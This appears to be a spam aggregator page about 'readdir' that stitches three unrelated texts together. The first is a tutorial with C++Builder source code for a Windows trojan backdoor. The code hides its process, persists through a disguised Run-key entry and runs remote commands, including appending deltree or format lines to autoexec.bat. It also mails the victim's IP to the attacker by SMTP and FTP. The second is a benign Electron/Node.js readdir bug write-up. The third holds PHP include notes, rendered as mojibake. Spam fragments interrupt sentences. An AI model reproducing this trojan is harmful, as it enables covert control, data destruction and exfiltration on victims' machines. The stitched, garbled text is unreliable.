【layer源码keras】【周期购商城源码】【spring源码跳转方法】readdir源码-皮皮网

【layer源码keras】【周期购商城源码】【spring源码跳转方法】readdir源码

2024-11-19 07:43:15 来源：{typename type="name"/} 分类：{typename type="name"/}

1.木马是什么东西
2.抽丝剥茧：Electron与Node.js的奇葩Bug
3.requireåincludeçåºå«
4.node.js中的fs.readdir方法使用说明
5.node.js中的fs.readdirSync方法使用说明

readdir源码

木马是什么东西

木马是如何编写的（一）

特洛依木马这个名词大家应该不陌生，自从年“死牛崇拜”黑客小组公布Back Orifice以来，木马犹如平地上的惊雷，使在DosWindows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面，一时间人心惶惶。layer源码keras

我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了，吓得整天吃不下饭、睡不着觉、上不了网，到处求救！呵呵，要知道，木马（Trojan）的历史是很悠久的：早在AT&T Unix和BSD Unix十分盛行的年代，木马是由一些玩程式（主要是C）水平很高的年轻人（主要是老美）用C或Shell语言编写的，基本是用来窃取登陆主机的口令，以取得更高的权限。那时木马的主要方法是诱骗先修改你的.profile文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件，用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的，对网络可以说很陌生。直到Win9x横空出世，尤其是WinNt的普及，大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Win9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马，听起来很Cool是不是？！木马一定是由两部分组成服务器程序（Server）和客户端程序（Client），服务器负责打开攻击的道路，就像一个内奸特务；客户端负责攻击目标，两者需要一定的网络协议来进行通讯（一般是TCP/IP协议）。为了让大家更好的了解木马攻击技术，破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马，使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi，这里我们选用C++Builder（以下简称BCB）；VC虽然好，但GUI设计太复杂，为了更好地突出我的周期购商城源码例子，集中注意力在木马的基本原理上，我们选用可视化的BCB；Delphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO源代码，是VC编写的，网上俯拾皆是）；VB嘛，谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm.dll吗？

启动C++Builder 5.0企业版，新建一个工程，添加三个VCL控件：一个是Internet页中的Server Socket，另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序，可以对外服务（对攻击者敞开大门）。Socket最初是在Unix上出现的，后来微软将它引入了Windows中（包括Win和WinNt）；后两个控件的作用是用来使程序具有FTP（File Transfer Protocol文件传输协议）和SMTP（Simple Mail Transfer Protocol简单邮件传输协议）功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的，这当然是不可思议的。不光占去了大量的空间（光一个Form就有K之大），而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delphi用过程实现的小程序一般只有K左右那样。

我们首先应该让我们的程序能够隐身。双击Form，首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘，其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程（Service Process）就可以了。不过该函数的声明在Borland预先打包的头文件中没有，那么我们只好自己来声明这个位于KERNEL.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt：

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion >= 0x)

// 操作系统是Win9x，不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

这样就终于可以隐身了（害我敲了这么多代码！）。为什么要判断操作系统呢？因为WinNt中的进程管理器可以对当前进程一览无余，因此没必要在WinNt下也使用以上代码（不过你可以使用其他的方法，这个留到后面再讲）。接着再将自己拷贝一份到%System%目录下，例如：C:\Windows\System，并修改注册表，以便启动时自动加载：

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串，使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下，并改名为Tapi.exe，伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象，spring源码跳转方法准备修改注册表，这一步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就创建之

try

{

file://如果以下语句发生异常，跳至catch，以避免程序崩溃

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi.exe")

Registry->WriteString("crossbow",SystemPath+"\\Tapi.exe");

file://查找是否有“crossbow”字样的键值，并且是否为拷贝的目录%System%+Tapi.exe

file://如果不是，就写入以上键值和内容

}

catch(...)

{

file://如果有错误，什么也不做

}

好，FormCreate过程完成了，这样每次启动都可以自动加载Tapi.exe，并且在“关闭程序”对话框中看不见本进程了，木马的雏形初现。

接着选中ServerSocket控件，在左边的Object Inspector中将Active改为true，这样程序一启动就打开特定端口，处于服务器工作状态。再将Port填入，这是木马的端口号，当然你也可以用别的。但是你要注意不要用以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用以上的高端端口（不过也有这样一种技术，它故意使用特定端口，因为如果引起冲突，Windows也不会报错 ^_^）。你可以看一看TNMFTP控件使用的端口，是号端口，这是FTP协议的专用控制端口（FTP Control Port）；同理TNMSMTP的号端口也是SMTP协议的专用端口。

再选中ServerSocket控件，点击Events页，双击OnClientRead事件，敲入以下代码：

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win.BAT")).c_str());

file://在%System%下建立一个文本文件Win.bat，作为临时文件使用

AnsiString temp=Socket->ReceiveText();

file://接收客户端（攻击者，也就是你自己）传来的数据

}

好，大门敞开了！接着就是修改目标机的各种配置了！^_^ 首先我们来修改Autoexec.bat和Config.sys吧：

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(,1)).c_str());

file://将第个字符转换成integer型，存入file_name变量

file://为什么要取第个字符，因为第个字符是空格字符

content=(temp.SubString(,number-)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在，创建之；如果存在，准备在其后添加

file://如果出错，文件指针为空，算命吸粉源码这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>)

{

file://如果已经试了次了，仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句，例如deltree/y C:或者format/q/autotest C:，够毒吧？！

fclose(fp);

file://写完后关闭目标文件

Socket->SendText("Sucess");

file://然后发回“Success”的成功信息

}

上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树和文件吧，这在客户端上使用“dir”命令，跟着敲?：

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始，将后面的字符存入Dir_Name变量，这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win.bat准备读和写；如果此文件已存在，则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>)

{

file://如果已经试了次了，仍未成功（真有耐心！）

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”，证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

file://如果是根目录，则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib & FA_RDONLY)

file://“&”字符是比较前后两个变量，如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_DIREC)

fwrite(" <DIR> ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>)

{

file://如果已经试了次了，仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

AnsiString Return_Text="";

char temp_content[];

for(int i=0;i<;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,,fp1);

file://从目标文件中读入前个字符

while(Read_Num==)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的个字符

for(int i=0;i<;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的个字符

fclose(fp1);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text变量的内容

}

够长吧？！察看目录树这么费劲啊？！你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了，Client将使用“type”命令，（手指累不累啊？）：

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>)

{

file://如果已试了次了

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

AnsiString Return_Text="";

char temp_content[];

for(int i=0;i<;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,,fp);

file://从目标文件中读入前个字符

while(Read_Num==)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i<;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text的内容，即你查看文件的内容

}

咳咳！累死了！还是来点轻松的吧操纵目标机的光驱（注意：mciSendString()函数的声明在mmsystem.h头文件中）：

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环，让他的光驱好好活动活动！^_^

}

接着就是交换目标机的鼠标左右键，代码如下：

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键，简单吧？

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利，一个普通的进程是不应具备有调用系统的权利的，因此我们要赋予本程序足够的权限：

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion < 0x)

{

file://操作系统是WinNt，不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

如果以上都不是，就让它在Dos窗口中执行传来的命令：

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win.bat，如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>)

{

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win.bat

system(TempFile);

file://执行Win.bat

Socket->SendText("Success");

file://返回“Success”信息

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况（判断是否是一个企业的局域网），然后可以进一步攻击，比如Deltree和Format命令。^_^

到此，服务器程序的功能已全部完成，但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友，别走开！（未完待续）

木马是时光源码搭建如何编写的（三）

武汉周侃

上次已编写完服务器端的各种功能，但还差容错部分还未完成,下面我们Go on! 其代码如下（照敲不误 ^_^）：

{

END:;

Socket->Close();

file://关闭服务

ServerSocket1->Active =true;

file://再次打开服务

if (NMSMTP1->Connected) NMSMTP1->Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1->Host = "smtp..net";

file://选一个好用的SMTP服务器，如、、sina和btamail

NMSMTP1->UserID = "";

file://你SMTP的ID

try

{

NMSMTP1->Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1->PostMessage->FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1->PostMessage->FromName = "Casualty";

file://受害者的名字

NMSMTP1->PostMessage->ToAddress->Text = "crossbow@.net";

file://将信发到我的邮箱，这一步很关键

NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

file://信的内容提示你“服务器正在运行”，并且告诉你受害者的目前的IP地址，以便连接

NMSMTP1->PostMessage->Subject = "Server Running Now!";

file://信的主题

NMSMTP1->SendMail();

file://发送！

return;

file://返回

NextTime:

NMFTP1->Host = "ftp.go..com";

file://你的FTP服务器的地址

NMFTP1->UserID = "";

file://你的用户ID

NMFTP1->Port = ;

file://FTP端口号，一般为

NMFTP1->Password = "";

file://你的FTP的密码

if(NMFTP1->Connected) NMFTP1->Disconnect();

file://如果已连接就断开

try

{

NMFTP1->Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");

file://创建一个新文件准备写，如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1->RemoveDir("public_html");

file://删除public_html目录

NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

file://上传！

}

啊，超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件：

#include <stdlib.h>

#include <dirent.h>

#include <fcntl.h>

#include <dos.h>

#include <sys\stat.h>

#include <winbase.h>

#include <stdio.h>

#include <process.h>

#include <io.h>

#include <mmsystem.h>

至此，服务器端（Server）程序已全部

抽丝剥茧：Electron与Node.js的奇葩Bug

起因是最近在用Electron开发一个桌面端项目，有个需求是需要遍历某个文件夹下的所有JavaScript文件，对它进行AST词法语法分析，解析出元数据并写入到某个文件里。需求整体不复杂，只是细节有些麻烦，当我以为开发的差不多时，注意到一个匪夷所思的问题，查的我快怀疑人生。

缘起

什么问题呢？

原来这个需求一开始仅是遍历当前文件夹下的文件，我的获取所有JS文件的代码是这样的：

后来需求改为要包含文件夹的子文件夹，那就需要进行递归遍历。按照我以前的做法，当然是手撸一个递归，代码并不复杂，缺点是递归可能会导致堆栈溢出：

但做为一个紧跟时代浪潮的开发者，我知道Node.js的fs.readdir API中加了一个参数recursive，表示可以进行递归，人家代码的鲁棒性肯定比我的好多了：

只改了一行代码，美滋滋~

兼容性怎么样呢？我们到Node.js的API文档里看下：

是从v..0添加的，而我本地使用的Node.js版本正是这个（好巧），我们Electron中的Node.js版本是多少呢？先看到electron的版本是.0.4：

在Electron的发布页上能找到这个版本对应的是..1，比我本地的还要多一个小版本号：

这里需要说明一下，Electron之所以优于WebView方案，是因为它内置了Chrome浏览器和Node.js，锁定了前端与后端的版本号，这样只要Chrome和Node.js本身的跨平台没有问题，理论上Electron在各个平台上都能获得统一的UI与功能体验。而以Tauri为代表的WebView方案，则是不内置浏览器，应用程序使用宿主机的浏览器内核，开发包的体积大大减小，比如我做过的同样功能的一个项目，Electron版本有M+，而Tauri的只有4M左右。虽然体积可以这么小，又有Rust这个性能大杀器，但在实际工作中的技术选型上，想想各种浏览器与不同版本的兼容性，换我也不敢头铁地用啊！所以，尽管Electron有这样那样的缺点，仍是我们开发客户端的不二之选。之所以提这个，是因为读者朋友需要明白实际项目运行的是Electron内部的Node.js，而我们本机的Node.js只负责启动Electron这个工程。

以上只是为了说明，我这里使用fs.readdir这个API新特性是没有问题的。

排查

为方便排查，我将代码再度简化，提取一个单独的文件中，被Electron的Node.js端引用：

能看到控制台打印的 Node.js 版本与我们刚才查到的是一样的，文件数量为2：

同样的代码使用本机的Node.js执行：

难道是这个小版本的锅？按理说不应该。但为了排除干扰，我将本机的Node.js也升级为..1：

这下就有些懵逼了！

追踪

目前来看，锅应该是Electron的。那么第一思路是什么？是不是人家已经解决了啊？我要不要先升个级？

没毛病。

升级Electron

将Electron的版本号换成最新版本v.1.0：

再看效果：

我去，正常了！

不过，这个包的升级不能太草率，尤其正值发版前夕，所以还是先改代码吧，除了我上面手撸的代码外，还有个包readdirp也可以做同样的事情：

这两种方式，在原版本的Electron下都没有问题。

GitHub上搜索

下来接着排查。

Electron是不是有人发现了这个Bug，才进行的修复呢？

去 GitHub issue里瞅一瞅：

没有，已经关闭的问题都是年提的问题，而我们使用的Electron的版本是年月日发布的。那么就去代码提交记录里查下（GitHub这个功能还是很好用的）：

符合条件的就一条，打开看下：

修复的这个瞅着跟我们的递归没有什么关系嘛。

等等，这个文件是什么鬼？

心血来潮的收获

我们找到这个文件，目录在lib下：

从命名上看，这个文件是对Node.js的fs模块的一个包装。如果你对Electron有了解的话，仔细一思索，就能理解为什么会有这么个文件了。我们开发时，项目里会有许多的资源，Electron的Node.js端读取内置的文件，与正常Node.js无异，但事实上，当我们的项目打包为APP后，文件的路径与开发状态下完全不一样了。所以Electron针对打包后的文件处理，重写了fs的各个方法。

这段代码中重写readdir的部分如下：

上面的判断isAsar就是判断是否打包后的归档文件，来判断是否要经Electron特殊处理。如果要处理的话，会调用Electron内部的C++代码方法进行处理。

我发现，这里Electron并没有对打包后的归档文件处理递归参数recursive，岂不是又一个Bug？应该提个issue提醒下。

不过，我们目前的问题，并不是它造成的，因为现在是开发状态下，上面代码可以简化为：

对Promise了如指掌的我怎么看这代码也不会有问题，只是心血来潮执行了一下：

我去，差点儿脑溢血！

好的一点是，曙光似乎就在眼前了！事实证明，心血来潮是有用的！

Node.js的源码

这时不能慌，本地切换Node.js版本为v，同样的代码再执行下：

这说明Electron是被冤枉的，锅还是Node.js的！

Node.js你这个浓眉大眼的，居然也有Bug！呃，还偷偷修复了！

上面的情况，其实是说原生的fs.readdir有问题：

也就是说，fs.promises.readdir并不是用util.promisify(fs.readdir)实现的！

换成同步的代码readdirSync，效果也是一样：

我们来到Node.js的GitHub地址，进行搜索：

打开这两个文件，能发现，二者确实是不同的实现，不是简单地使用util.promisify进行转换。

fs.js

我们先看 lib/fs.js。

当recursive为true时，调用了一个readdirSyncRecursive函数，从这个命名上似乎可以看出有性能上的隐患。正常来说，这个函数是异步的，不应该调用同步的方法，如果文件数量过多，会把主进程占用，影响性能。

如果没有recursive，则是原来的代码，我们看到binding readdir这个函数，凡是binding的代码，应该就是调用了C++的底层库，进行了一次『过桥』交互。

我们接着看readdirSyncRecursive，它的命名果然没有毛病，binding readdir没有第4个参数，是完全同步的，这个风险是显而易见的：

fs/promises.js

在lib/internal/fs/promises.js中，我们看到binding readdir的第4个参数是kUsePromises，表明是个异步的处理。

当传递了recursive参数时，将调用readdirRecursive，而readdirRecursive的代码与readdirSyncRecursive的大同小异，有兴趣的可以读一读：

fs.js的提交记录

我们搜索readdir的提交记录，能发现这两篇都与深度遍历有关：

其中下面的这个，正是我们这次问题的罪魁祸首。

刚才看到的fs.js中的readdirSyncRecursive里这段长长的注释，正是这次提交里添加的：

从代码对比上，我们就能看出为什么我们的代码遍历的程序为2了，因为readdirResult是个二维数组，它的长度就是2啊。取它的第一个元素的长度才是正解。坑爹！

也就是说，如果不使用withFileTypes这个参数，得到的结果是没有问题的：

发版记录

我们在Node.js的发版记录中，找到这条提交记录，也就是说，v..0才修复这个问题。

而Electron只有Node.js更新到v后，这个功能才修复。

而从Electron与Node.js的版本对应上来看，得更新到v了。

只是需要注意的是，像前文提过的，如果是遍历的是当前项目的内置文件，Electron并没有支持这个新的参数，在打包后会出现Bug。

fs的同步阻塞

其实有人提过一个 issue：

确实是个风险点。所以，建议Node.js开发者老老实实使用fs/promises代替fs，而Electron用户由于坑爹的fs包裹，还是不要用这个特性了。

总结

本次问题的起因是我的一个Electron项目，使用了一个Node.js fs API的一个新参数recursive递归遍历文件夹，偶然间发现返回的文件数量不对，就开始排查问题。

首先，我选择了升级Electron的包版本，发现从v.0.4升级到最新版本v.1.0后，问题解决了。但由于发版在即，不能冒然升级这么大件的东西，所以先使用readdirp这个第三方包处理。

接着排查问题出现的原因。我到Electron的GitHub上搜索issue，只找到一条近期的提交，但看提交信息，不像是我们的目标。我注意到这条提交的修改文件（asar-fs-wrapper.ts），是Electron针对Node.js的fs API的包装，意识到这是Electron为了解决打包前后内置文件路径的问题，心血来潮之下，将其中核心代码简化后，测试发现问题出在fs.promises readdir的重写上，继而锁定了Node.js版本v..1的fs.readdir有Bug。

下一步，继续看Node.js的源码，确定了fs.promises与fs是两套不同的实现，不是简单地使用util.promisify进行转换。并在fs的代码找到关于recursive递归的核心代码readdirSyncRecursive。又在提交记录里，找到这段代码的修复记录。仔细阅读代码对比后，找到了返回数量为2的真正原因。

我们在Node.js的发版记录中，找到了这条记录的信息，确定了v..0才修复这个问题。而内嵌Node.js的Electron，只有v版本起才修复。

不过需要注意的是，如果是遍历的是当前项目的内置文件，由于Electron并没有支持这个新的参数，在打包后会出现Bug。而且由于fs.readdir使用recursive时是同步的，Electron重写的fs.promises readdir最终调用的是它，可能会有隐性的性能风险。

本次定位问题走了些弯路，一开始将目标锁定到Electron上，主要是它重写fs的锅，如果我在代码中用的fs.readdirSync，那么可能会更早在Node.js上查起。谁能想到我调用的fs.promises readdir不是真正的fs.promises readdir呢？

最后，针对此次问题，我们有以下启示：

PS：我给Electron提了个 issue，一是让他们给fs.readdir添加recursive参数的实现，二是让他们注意下重写时fs.promises readdir的性能风险。

requireåincludeçåºå«

ncludeä¸requireçåºå«

PHPä¸çrequire,require_once,include,include_onceçåºå«

ç°å¨æ¥è¯´includeårequireçåºå«:

www.w3school.com

è¯¦ç»ä»ç»

è¿äºä¸»è¦çå½æ°åæ¬ï¼

* include() ä¸ include_once()

* require() ä¸ require_once()

ä¾å¦ï¼include('/home/me/myfile');

2.include_once()å½æ°çä½ç¨å include() æ¯å ä¹ç¸åç

ï¼HTMLï¼

ï¼HEADï¼ï¼TITLEï¼ç½é¡µæ é¢ï¼/TITLEï¼ï¼/HEADï¼ ï¼BODYï¼ [ä¸å åå®¹] ï¼?

// å¯¼å¥çæå®£åæå

require('/home/me/mycopyright'); ?ï¼

ï¼/BODYï¼ï¼/HTMLï¼

// å¯¼å¥æçå½å¼åº

include('/home/me/myfunctions');

ï¼HEADï¼ï¼TITLE>ç½é¡µæ é¢ï¼/TITLEï¼ï¼/HEADï¼ ï¼BODYï¼ [ä¸å åå®¹] ï¼/BODYï¼ ï¼/HTMLï¼

ï¼? /* $dir_name è¿ä¸ªåéçå¼æ¯ä½ æ³è¦è¯»åçç®å½çå®æ´è·¯å¾ */ $dir_name = "/home/me/";

$dir = opendir($dir_name);

$file_list = "ï¼ulï¼";

/* ä½¿ç¨ä¸ä¸ª while å¾ªç¯åè¿°å°åé¢å¼å¯çç®å½ä¸çæ¡£æ¡å¨é¨è¯»åä¸éãå¦æè¯»åå°çæ¡£åä¸æ¯ã.ãæèã..ãï¼å°±æè¯¥æ¡£ååå¥åé¢æå°çåç¬¦ä¸²éé¢å»ã */ while ($file_name = readdir($dir)) {

if (($file_name != ".") && ($file_name != "..")) { $file_list .= "ï¼liï¼$file_name"; } }

/* æ¿ HTML åè¡¨å·æ å ä¸ç»å°¾ */ $file_list .= "ï¼/ulï¼";

/* å³éä¹åå¼å¯çç®å½å¹¶ä¸ç»æè¿æ®µ PHP ç¨åº */ closedir($dir); ?ï¼

ï¼!-- HTMLåå§ç ä»è¿éå¼å§ --ï¼ ï¼HTMLï¼ ï¼HEADï¼

ï¼/HEADï¼ ï¼BODYï¼

ï¼!-- ä½¿ç¨ PHP ç¨åºæ¥å°æä»¬æè¯»åçç®å½åç§°æ¾ç¤ºå¨é¡µé¢ä¸ --ï¼ ï¼Pï¼Files in: ï¼? echo "$dir_name"; ?ï¼ï¼/pï¼

ï¼!-- ä½¿ç¨ PHP ç¨åºå°è¯¥ç®å½ä¸è¯»åå°çæä»¶åæ¾ç¤ºå¨é¡µé¢ä¸ --ï¼ ï¼? echo "$file_list"; ?ï¼ ï¼/BODYï¼ ï¼/HTMLï¼

ä¸ä¸ä¸ªä¾åæå°æå¤§å®¶å¦ä½å¤å¶ä¸ä¸ªæ¡£æ¡ï¼

ï¼? /* åé$orginalå¨åæºæä»¶çå®æ´è·¯å¾ï¼åé$copiedå¨åå¤å¶è¿å»çæ°æ¡£æ¡çå®æ´è·¯å¾ */ $original = "/home/me/mydatabasedump"; $copied = "/archive/mydatabasedumo_";

@copy($original, $copied) or die("æ æ³å¤å¶æ¡£æ¡ã"); ?ï¼

æ¥èªï¼é«å¿é£ > ãphpã

